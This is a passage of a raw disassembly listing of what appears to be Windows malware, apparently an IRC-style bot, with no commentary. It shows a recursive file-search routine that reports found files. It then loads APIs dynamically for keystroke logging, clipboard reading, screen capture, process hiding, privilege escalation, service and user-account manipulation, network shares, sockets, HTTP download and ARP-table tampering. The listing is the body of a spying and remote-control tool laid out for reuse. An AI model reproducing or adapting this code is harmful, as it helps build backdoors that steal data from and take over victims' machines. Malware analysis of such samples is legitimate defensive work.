call sub_4135AD add esp, 24h cmp [ebp+var_8], ebx jnz short loc_406D28 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_4110B0 add esp, 14h loc_406D28: ; CODE XREF: sub_406C30+D6j lea eax, [ebp+var_49C] push eax call sub_409615 push [ebp+var_10] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h loc_406D44: ; CODE XREF: sub_406C30+B9p ; seg000:00406DE6p test eax, 555B5E5Fh sub_406C30 endp ; sp-analysis failed mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push dword ptr [ebp+18h] lea eax, [ebp-248h] push offset aS_3 ; "%s\\*" push esi push eax call sub_413B2A mov edi, ds:dword_41F090 add esp, 10h lea eax, [ebp-144h] push eax lea eax, [ebp-248h] push eax call edi ; dword_41F090 cmp eax, 0FFFFFFFFh mov [ebp-4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_406E05 loc_406D94: ; CODE XREF: seg000:00406E03j test byte ptr [ebp-144h], 10h jz short loc_406DF1 cmp byte ptr [ebp-118h], 2Eh jnz short loc_406DB8 cmp byte ptr [ebp-117h], 0 jz short loc_406DF1 cmp byte ptr [ebp-117h], 2Eh jz short loc_406DF1 loc_406DB8: ; CODE XREF: seg000:00406DA4j lea eax, [ebp-118h] push eax lea eax, [ebp-34Ch] push dword ptr [ebp+18h] push ebx push esi push eax call sub_413B2A push dword ptr [ebp+1Ch] lea eax, [ebp-34Ch] push eax push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr loc_406D44+4 add esp, 2Ch mov [ebp+1Ch], eax loc_406DF1: ; CODE XREF: seg000:00406D9Bj ; seg000:00406DADj ... lea eax, [ebp-144h] push eax push dword ptr [ebp-4] call ds:dword_41F08C ; FindNextFileA test eax, eax jnz short loc_406D94 loc_406E05: ; CODE XREF: seg000:00406D92j push dword ptr [ebp-4] call near ptr 0A70000h ; --------------------------------------------------------------------------- db 0Fh, 0FFh, 75h dd 0B8858D14h, 0FFFFFFFDh, 56531875h, 0CD08E850h, 0C4830000h dd 0BC858D14h, 50FFFFFEh, 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h dd 4F74FFFEh ; --------------------------------------------------------------------------- loc_406E3C: ; CODE XREF: seg000:00406E89j lea eax, [ebp-118h] inc dword ptr [ebp+1Ch] push eax lea eax, [ebp-54Ch] push dword ptr [ebp+18h] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_413B2A push 1 lea eax, [ebp-54Ch] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4110B0 add esp, 28h lea eax, [ebp-144h] push eax push esi call ds:dword_41F08C ; FindNextFileA test eax, eax jnz short loc_406E3C push esi ; --------------------------------------------------------------------------- dd 66916FE8h, 458B8A00h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_406E9A proc near ; CODE XREF: seg000:0040AB68p push ebx push ebp mov ebp, ds:dword_41F0B4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; dword_41F0B4 mov esi, ds:dword_41F0B0 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_406FBA push offset aSeterrormode ; "SetErrorMode" push edi call esi ; dword_41F0B0 push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_42F7B4, eax call esi ; dword_41F0B0 push offset aProcess32first ; "Process32First" push edi mov ds:dword_42F728, eax call esi ; dword_41F0B0 push offset aProcess32next ; "Process32Next" push edi mov ds:dword_42F70C, eax call esi ; dword_41F0B0 push offset aModule32first ; "Module32First" push edi mov ds:dword_42F628, eax call esi ; dword_41F0B0 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_42F5D4, eax call esi ; dword_41F0B0 push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_42F604, eax call esi ; dword_41F0B0 push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_42F678, eax call esi ; dword_41F0B0 push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_42F768, eax call esi ; dword_41F0B0 push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:dword_42F7C4, eax call esi ; dword_41F0B0 push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_42F634, eax call esi ; dword_41F0B0 cmp ds:dword_42F7B4, ebx mov ds:dword_42F61C, eax jz short loc_406F98 cmp ds:dword_42F728, ebx jz short loc_406F98 cmp ds:dword_42F70C, ebx jz short loc_406F98 cmp ds:dword_42F628, ebx jz short loc_406F98 cmp ds:dword_42F604, ebx jz short loc_406F98 cmp ds:dword_42F678, ebx jz short loc_406F98 cmp ds:dword_42F768, ebx jz short loc_406F98 cmp ds:dword_42F7C4, ebx jz short loc_406F98 cmp ds:dword_42F634, ebx jz short loc_406F98 cmp eax, ebx jnz short loc_406FA2 loc_406F98: ; CODE XREF: sub_406E9A+B8j ; sub_406E9A+C0j ... mov ds:dword_42F7C8, 1 loc_406FA2: ; CODE XREF: sub_406E9A+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; dword_41F0B0 cmp eax, ebx mov ds:dword_42F740, eax jz short loc_406FCF push 1 push ebx call eax jmp short loc_406FCF ; --------------------------------------------------------------------------- loc_406FBA: ; CODE XREF: sub_406E9A+1Dj call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F7CC, eax mov ds:dword_42F7C8, 1 loc_406FCF: ; CODE XREF: sub_406E9A+117j ; sub_406E9A+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_41F0AC ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4070E4 push offset aSendmessagea ; "SendMessageA" push edi call esi ; dword_41F0B0 push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_42F764, eax call esi ; dword_41F0B0 push offset aIswindow ; "IsWindow" push edi mov ds:dword_42F714, eax call esi ; dword_41F0B0 push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_42F6A8, eax call esi ; dword_41F0B0 push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_42F7B8, eax call esi ; dword_41F0B0 push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_42F6D8, eax call esi ; dword_41F0B0 push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_42F6F8, eax call esi ; dword_41F0B0 push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_42F75C, eax call esi ; dword_41F0B0 cmp ds:dword_42F764, ebx mov ds:dword_42F650, eax jz short loc_407088 cmp ds:dword_42F714, ebx jz short loc_407088 cmp ds:dword_42F6A8, ebx jz short loc_407088 cmp ds:dword_42F7B8, ebx jz short loc_407088 cmp ds:dword_42F6D8, ebx jz short loc_407088 cmp ds:dword_42F6F8, ebx jz short loc_407088 cmp ds:dword_42F75C, ebx jz short loc_407088 cmp eax, ebx jnz short loc_407092 loc_407088: ; CODE XREF: sub_406E9A+1B8j ; sub_406E9A+1C0j ... mov ds:dword_42F7D0, 1 loc_407092: ; CODE XREF: sub_406E9A+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; dword_41F0B0 push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_42F6D4, eax call esi ; dword_41F0B0 push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_42F5E8, eax call esi ; dword_41F0B0 push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_42F6A4, eax call esi ; dword_41F0B0 cmp ds:dword_42F6D4, ebx mov ds:dword_42F690, eax jz short loc_4070EF cmp ds:dword_42F5E8, ebx jz short loc_4070EF cmp ds:dword_42F6A4, ebx jz short loc_4070EF cmp eax, ebx jnz short loc_4070F9 jmp short loc_4070EF ; --------------------------------------------------------------------------- loc_4070E4: ; CODE XREF: sub_406E9A+144j call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F7D4, eax loc_4070EF: ; CODE XREF: sub_406E9A+232j ; sub_406E9A+23Aj ... mov ds:dword_42F7D0, 1 loc_4070F9: ; CODE XREF: sub_406E9A+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; dword_41F0B4 mov edi, eax cmp edi, ebx jz loc_407294 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; dword_41F0B0 push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_42F778, eax call esi ; dword_41F0B0 push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_42F6BC, eax call esi ; dword_41F0B0 push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_42F72C, eax call esi ; dword_41F0B0 push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_42F614, eax call esi ; dword_41F0B0 push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_42F674, eax call esi ; dword_41F0B0 cmp ds:dword_42F778, ebx mov ds:dword_42F6E4, eax jz short loc_407184 cmp ds:dword_42F6BC, ebx jz short loc_407184 cmp ds:dword_42F72C, ebx jz short loc_407184 cmp ds:dword_42F614, ebx jz short loc_407184 cmp ds:dword_42F674, ebx jz short loc_407184 cmp eax, ebx jnz short loc_40718E loc_407184: ; CODE XREF: sub_406E9A+2C4j ; sub_406E9A+2CCj ... mov ds:dword_42F7D8, 1 loc_40718E: ; CODE XREF: sub_406E9A+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; dword_41F0B0 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_42F6EC, eax call esi ; dword_41F0B0 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_42F6C4, eax call esi ; dword_41F0B0 cmp ds:dword_42F6EC, ebx mov ds:dword_42F774, eax jz short loc_4071C9 cmp ds:dword_42F6C4, ebx jz short loc_4071C9 cmp eax, ebx jnz short loc_4071D3 loc_4071C9: ; CODE XREF: sub_406E9A+321j ; sub_406E9A+329j mov ds:dword_42F7D8, 1 loc_4071D3: ; CODE XREF: sub_406E9A+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; dword_41F0B0 push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_42F6FC, eax call esi ; dword_41F0B0 push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_42F5F0, eax call esi ; dword_41F0B0 push offset aControlservice ; "ControlService" push edi mov ds:dword_42F5F8, eax call esi ; dword_41F0B0 push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_42F658, eax call esi ; dword_41F0B0 push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_42F65C, eax call esi ; dword_41F0B0 push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_42F60C, eax call esi ; dword_41F0B0 push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_42F6C8, eax call esi ; dword_41F0B0 cmp ds:dword_42F6FC, ebx mov ds:dword_42F5FC, eax jz short loc_407277 cmp ds:dword_42F5F0, ebx jz short loc_407277 cmp ds:dword_42F5F8, ebx jz short loc_407277 cmp ds:dword_42F658, ebx jz short loc_407277 cmp ds:dword_42F65C, ebx jz short loc_407277 cmp ds:dword_42F60C, ebx jz short loc_407277 cmp ds:dword_42F6C8, ebx jz short loc_407277 cmp eax, ebx jnz short loc_407281 loc_407277: ; CODE XREF: sub_406E9A+3A7j ; sub_406E9A+3AFj ... mov ds:dword_42F7D8, 1 loc_407281: ; CODE XREF: sub_406E9A+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; dword_41F0B0 cmp eax, ebx mov ds:dword_42F5F4, eax jnz short loc_4072A9 jmp short loc_40729F ; --------------------------------------------------------------------------- loc_407294: ; CODE XREF: sub_406E9A+26Aj call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F7DC, eax loc_40729F: ; CODE XREF: sub_406E9A+3F8j mov ds:dword_42F7D8, 1 loc_4072A9: ; CODE XREF: sub_406E9A+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; dword_41F0B4 mov edi, eax cmp edi, ebx jz loc_407375 push offset aCreatedca ; "CreateDCA" push edi call esi ; dword_41F0B0 push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_42F6F4, eax call esi ; dword_41F0B0 push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_42F74C, eax call esi ; dword_41F0B0 push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_42F754, eax call esi ; dword_41F0B0 push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_42F710, eax call esi ; dword_41F0B0 push offset aSelectobject ; "SelectObject" push edi mov ds:dword_42F638, eax call esi ; dword_41F0B0 push offset aBitblt ; "BitBlt" push edi mov ds:dword_42F5E4, eax call esi ; dword_41F0B0 push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_42F750, eax call esi ; dword_41F0B0 push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_42F5D0, eax call esi ; dword_41F0B0 cmp ds:dword_42F6F4, ebx mov ds:dword_42F66C, eax jz short loc_407380 cmp ds:dword_42F74C, ebx jz short loc_407380 cmp ds:dword_42F754, ebx jz short loc_407380 cmp ds:dword_42F710, ebx jz short loc_407380 cmp ds:dword_42F638, ebx jz short loc_407380 cmp ds:dword_42F5E4, ebx jz short loc_407380 cmp ds:dword_42F750, ebx jz short loc_407380 cmp ds:dword_42F5D0, ebx jz short loc_407380 cmp eax, ebx jnz short loc_40738A jmp short loc_407380 ; --------------------------------------------------------------------------- loc_407375: ; CODE XREF: sub_406E9A+41Aj call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F7E4, eax loc_407380: ; CODE XREF: sub_406E9A+49Bj ; sub_406E9A+4A3j ... mov ds:dword_42F7E0, 1 loc_40738A: ; CODE XREF: sub_406E9A+4D7j mov ebp, ds:dword_41F0AC push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz loc_407646 push offset aWsastartup ; "WSAStartup" push edi call esi ; dword_41F0B0 push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_42F680, eax call esi ; dword_41F0B0 push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_42F7AC, eax call esi ; dword_41F0B0 push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_42F624, eax call esi ; dword_41F0B0 push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_42F600, eax call esi ; dword_41F0B0 push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_42F6B4, eax call esi ; dword_41F0B0 push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_42F69C, eax call esi ; dword_41F0B0 push offset aSocket ; "socket" push edi mov ds:dword_42F668, eax call esi ; dword_41F0B0 push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_42F788, eax call esi ; dword_41F0B0 push offset aConnect ; "connect" push edi mov ds:dword_42F7A4, eax call esi ; dword_41F0B0 push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_42F6B0, eax call esi ; dword_41F0B0 push offset aInet_addr ; "inet_addr" push edi mov ds:dword_42F794, eax call esi ; dword_41F0B0 push offset aHtons ; "htons" push edi mov ds:dword_42F748, eax call esi ; dword_41F0B0 push offset aHtonl ; "htonl" push edi mov ds:dword_42F708, eax call esi ; dword_41F0B0 push offset aNtohs ; "ntohs" push edi mov ds:dword_42F704, eax call esi ; dword_41F0B0 push offset aNtohl ; "ntohl" push edi mov ds:dword_42F644, eax call esi ; dword_41F0B0 push offset aSend ; "send" push edi mov ds:dword_42F63C, eax call esi ; dword_41F0B0 push offset aSendto ; "sendto" push edi mov ds:dword_42F758, eax call esi ; dword_41F0B0 push offset aRecv ; "recv" push edi mov ds:dword_42F76C, eax call esi ; dword_41F0B0 push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_42F720, eax call esi ; dword_41F0B0 mov ds:dword_42F6E0, eax push offset aBind ; "bind" push edi call esi ; dword_41F0B0 push offset aSelect ; "select" push edi mov ds:dword_42F734, eax call esi ; dword_41F0B0 push offset aListen ; "listen" push edi mov ds:dword_42F6F0, eax call esi ; dword_41F0B0 push offset aAccept ; "accept" push edi mov ds:dword_42F730, eax call esi ; dword_41F0B0 push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_42F79C, eax call esi ; dword_41F0B0 push offset aGetsockname ; "getsockname" push edi mov ds:dword_42F6E8, eax call esi ; dword_41F0B0 push offset aGethostname ; "gethostname" push edi mov ds:dword_42F6AC, eax call esi ; dword_41F0B0 push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_42F71C, eax call esi ; dword_41F0B0 push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_42F78C, eax call esi ; dword_41F0B0 push offset aGetpeername ; "getpeername" push edi mov ds:dword_42F6C0, eax call esi ; dword_41F0B0 push offset aClosesocket ; "closesocket" push edi mov ds:dword_42F664, eax call esi ; dword_41F0B0 cmp ds:dword_42F680, ebx mov ds:dword_42F7A0, eax jz loc_407651 cmp ds:dword_42F7AC, ebx jz loc_407651 cmp ds:dword_42F624, ebx jz loc_407651 cmp ds:dword_42F6B4, ebx jz loc_407651 cmp ds:dword_42F69C, ebx jz loc_407651 cmp ds:dword_42F668, ebx jz loc_407651 cmp ds:dword_42F788, ebx jz loc_407651 cmp ds:dword_42F7A4, ebx jz loc_407651 cmp ds:dword_42F6B0, ebx jz loc_407651 cmp ds:dword_42F794, ebx jz loc_407651 cmp ds:dword_42F748, ebx jz loc_407651 cmp ds:dword_42F708, ebx jz loc_407651 cmp ds:dword_42F704, ebx jz loc_407651 cmp ds:dword_42F644, ebx jz short loc_407651 cmp ds:dword_42F758, ebx jz short loc_407651 cmp ds:dword_42F76C, ebx jz short loc_407651 cmp ds:dword_42F720, ebx jz short loc_407651 cmp ds:dword_42F6E0, ebx jz short loc_407651 cmp ds:dword_42F734, ebx jz short loc_407651 cmp ds:dword_42F6F0, ebx jz short loc_407651 cmp ds:dword_42F730, ebx jz short loc_407651 cmp ds:dword_42F79C, ebx jz short loc_407651 cmp ds:dword_42F6E8, ebx jz short loc_407651 cmp ds:dword_42F6AC, ebx jz short loc_407651 cmp ds:dword_42F71C, ebx jz short loc_407651 cmp ds:dword_42F78C, ebx jz short loc_407651 cmp ds:dword_42F6C0, ebx jz short loc_407651 cmp eax, ebx jnz short loc_40765B jmp short loc_407651 ; --------------------------------------------------------------------------- loc_407646: ; CODE XREF: sub_406E9A+501j call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F7EC, eax loc_407651: ; CODE XREF: sub_406E9A+6A0j ; sub_406E9A+6ACj ... mov ds:dword_42F7E8, 1 loc_40765B: ; CODE XREF: sub_406E9A+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz loc_407760 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; dword_41F0B0 push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_42F64C, eax call esi ; dword_41F0B0 push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_42F5D8, eax call esi ; dword_41F0B0 push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_42F6D0, eax call esi ; dword_41F0B0 push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_42F684, eax call esi ; dword_41F0B0 push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_42F6DC, eax call esi ; dword_41F0B0 push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_42F6A0, eax call esi ; dword_41F0B0 push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_42F618, eax call esi ; dword_41F0B0 push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_42F610, eax call esi ; dword_41F0B0 push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_42F620, eax call esi ; dword_41F0B0 cmp ds:dword_42F64C, ebx mov ecx, ds:dword_42F6A0 mov ds:dword_42F73C, eax jz short loc_40773C cmp ds:dword_42F5D8, ebx jz short loc_40773C cmp ds:dword_42F6D0, ebx jz short loc_40773C cmp ds:dword_42F684, ebx jz short loc_40773C cmp ds:dword_42F6DC, ebx jz short loc_40773C cmp ecx, ebx jz short loc_40773C cmp ds:dword_42F618, ebx jz short loc_40773C cmp ds:dword_42F610, ebx jz short loc_40773C cmp ds:dword_42F620, ebx jz short loc_40773C cmp eax, ebx jnz short loc_407746 loc_40773C: ; CODE XREF: sub_406E9A+860j ; sub_406E9A+868j ... mov ds:dword_42F7F0, 1 loc_407746: ; CODE XREF: sub_406E9A+8A0j cmp ecx, ebx jz short loc_40777B push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; dword_42F6A0 cmp eax, ebx mov ds:dword_42F6B8, eax jnz short loc_40777B jmp short loc_407775 ; --------------------------------------------------------------------------- loc_407760: ; CODE XREF: sub_406E9A+7CCj call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F7F4, eax mov ds:dword_42F7F0, 1 loc_407775: ; CODE XREF: sub_406E9A+8C4j mov ds:dword_42F6B8, ebx loc_40777B: ; CODE XREF: sub_406E9A+8AEj ; sub_406E9A+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz short loc_4077C5 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; dword_41F0B0 push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_42F694, eax call esi ; dword_41F0B0 push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_42F7C0, eax call esi ; dword_41F0B0 cmp ds:dword_42F694, ebx mov ds:dword_42F62C, eax jz short loc_4077D0 cmp ds:dword_42F7C0, ebx jz short loc_4077D0 cmp eax, ebx jnz short loc_4077DA jmp short loc_4077D0 ; --------------------------------------------------------------------------- loc_4077C5: ; CODE XREF: sub_406E9A+8ECj call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F7FC, eax loc_4077D0: ; CODE XREF: sub_406E9A+91Bj ; sub_406E9A+923j ... mov ds:dword_42F7F8, 1 loc_4077DA: ; CODE XREF: sub_406E9A+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz loc_4078D0 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; dword_41F0B0 push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_42F608, eax call esi ; dword_41F0B0 push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_42F5E0, eax call esi ; dword_41F0B0 push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_42F654, eax call esi ; dword_41F0B0 push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_42F688, eax call esi ; dword_41F0B0 push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_42F798, eax call esi ; dword_41F0B0 push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_42F640, eax call esi ; dword_41F0B0 push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_42F5EC, eax call esi ; dword_41F0B0 push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_42F5DC, eax call esi ; dword_41F0B0 push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_42F670, eax call esi ; dword_41F0B0 push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_42F760, eax call esi ; dword_41F0B0 cmp ds:dword_42F608, ebx mov ds:dword_42F718, eax jz short loc_4078DB cmp ds:dword_42F5E0, ebx jz short loc_4078DB cmp ds:dword_42F654, ebx jz short loc_4078DB cmp ds:dword_42F688, ebx jz short loc_4078DB cmp ds:dword_42F798, ebx jz short loc_4078DB cmp ds:dword_42F640, ebx jz short loc_4078DB cmp ds:dword_42F5EC, ebx jz short loc_4078DB cmp ds:dword_42F5DC, ebx jz short loc_4078DB cmp ds:dword_42F670, ebx jz short loc_4078DB cmp ds:dword_42F760, ebx jz short loc_4078DB cmp eax, ebx jnz short loc_4078E5 jmp short loc_4078DB ; --------------------------------------------------------------------------- loc_4078D0: ; CODE XREF: sub_406E9A+94Bj call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F804, eax loc_4078DB: ; CODE XREF: sub_406E9A+9E6j ; sub_406E9A+9EEj ... mov ds:dword_42F800, 1 loc_4078E5: ; CODE XREF: sub_406E9A+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz short loc_40791A push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; dword_41F0B0 push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_42F630, eax call esi ; dword_41F0B0 cmp ds:dword_42F630, ebx mov ds:dword_42F700, eax jz short loc_407925 cmp eax, ebx jnz short loc_40792F jmp short loc_407925 ; --------------------------------------------------------------------------- loc_40791A: ; CODE XREF: sub_406E9A+A56j call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F80C, eax loc_407925: ; CODE XREF: sub_406E9A+A78j ; sub_406E9A+A7Ej mov ds:dword_42F808, 1 loc_40792F: ; CODE XREF: sub_406E9A+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz short loc_407964 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; dword_41F0B0 push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_42F784, eax call esi ; dword_41F0B0 cmp ds:dword_42F784, ebx mov ds:dword_42F780, eax jz short loc_40796F cmp eax, ebx jnz short loc_407979 jmp short loc_40796F ; --------------------------------------------------------------------------- loc_407964: ; CODE XREF: sub_406E9A+AA0j call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F814, eax loc_40796F: ; CODE XREF: sub_406E9A+AC2j ; sub_406E9A+AC8j mov ds:dword_42F810, 1 loc_407979: ; CODE XREF: sub_406E9A+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz short loc_4079D8 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; dword_41F0B0 push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_42F7B0, eax call esi ; dword_41F0B0 push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_42F7A8, eax call esi ; dword_41F0B0 push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_42F770, eax call esi ; dword_41F0B0 cmp ds:dword_42F7B0, ebx mov ds:dword_42F648, eax jz short loc_4079E3 cmp ds:dword_42F7A8, ebx jz short loc_4079E3 cmp ds:dword_42F770, ebx jz short loc_4079E3 cmp eax, ebx jnz short loc_4079ED jmp short loc_4079E3 ; --------------------------------------------------------------------------- loc_4079D8: ; CODE XREF: sub_406E9A+AEAj call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F81C, eax loc_4079E3: ; CODE XREF: sub_406E9A+B26j ; sub_406E9A+B2Ej ... mov ds:dword_42F818, 1 loc_4079ED: ; CODE XREF: sub_406E9A+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz short loc_407A22 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; dword_41F0B0 push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_42F67C, eax call esi ; dword_41F0B0 cmp ds:dword_42F67C, ebx mov ds:dword_42F77C, eax jz short loc_407A2D cmp eax, ebx jnz short loc_407A37 jmp short loc_407A2D ; --------------------------------------------------------------------------- loc_407A22: ; CODE XREF: sub_406E9A+B5Ej call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F824, eax loc_407A2D: ; CODE XREF: sub_406E9A+B80j ; sub_406E9A+B86j mov ds:dword_42F820, 1 loc_407A37: ; CODE XREF: sub_406E9A+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz short loc_407AC0 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; dword_41F0B0 push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_42F744, eax call esi ; dword_41F0B0 push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_42F790, eax call esi ; dword_41F0B0 push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_42F6CC, eax call esi ; dword_41F0B0 push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_42F68C, eax call esi ; dword_41F0B0 push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_42F724, eax call esi ; dword_41F0B0 cmp ds:dword_42F744, ebx mov ds:dword_42F698, eax jz short loc_407ACB cmp ds:dword_42F790, ebx jz short loc_407ACB cmp ds:dword_42F6CC, ebx jz short loc_407ACB cmp ds:dword_42F68C, ebx jz short loc_407ACB cmp ds:dword_42F724, ebx jz short loc_407ACB cmp eax, ebx jnz short loc_407AD5 jmp short loc_407ACB ; --------------------------------------------------------------------------- loc_407AC0: ; CODE XREF: sub_406E9A+BA8j call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F82C, eax loc_407ACB: ; CODE XREF: sub_406E9A+BFEj ; sub_406E9A+C06j ... mov ds:dword_42F828, 1 loc_407AD5: ; CODE XREF: sub_406E9A+C22j push offset 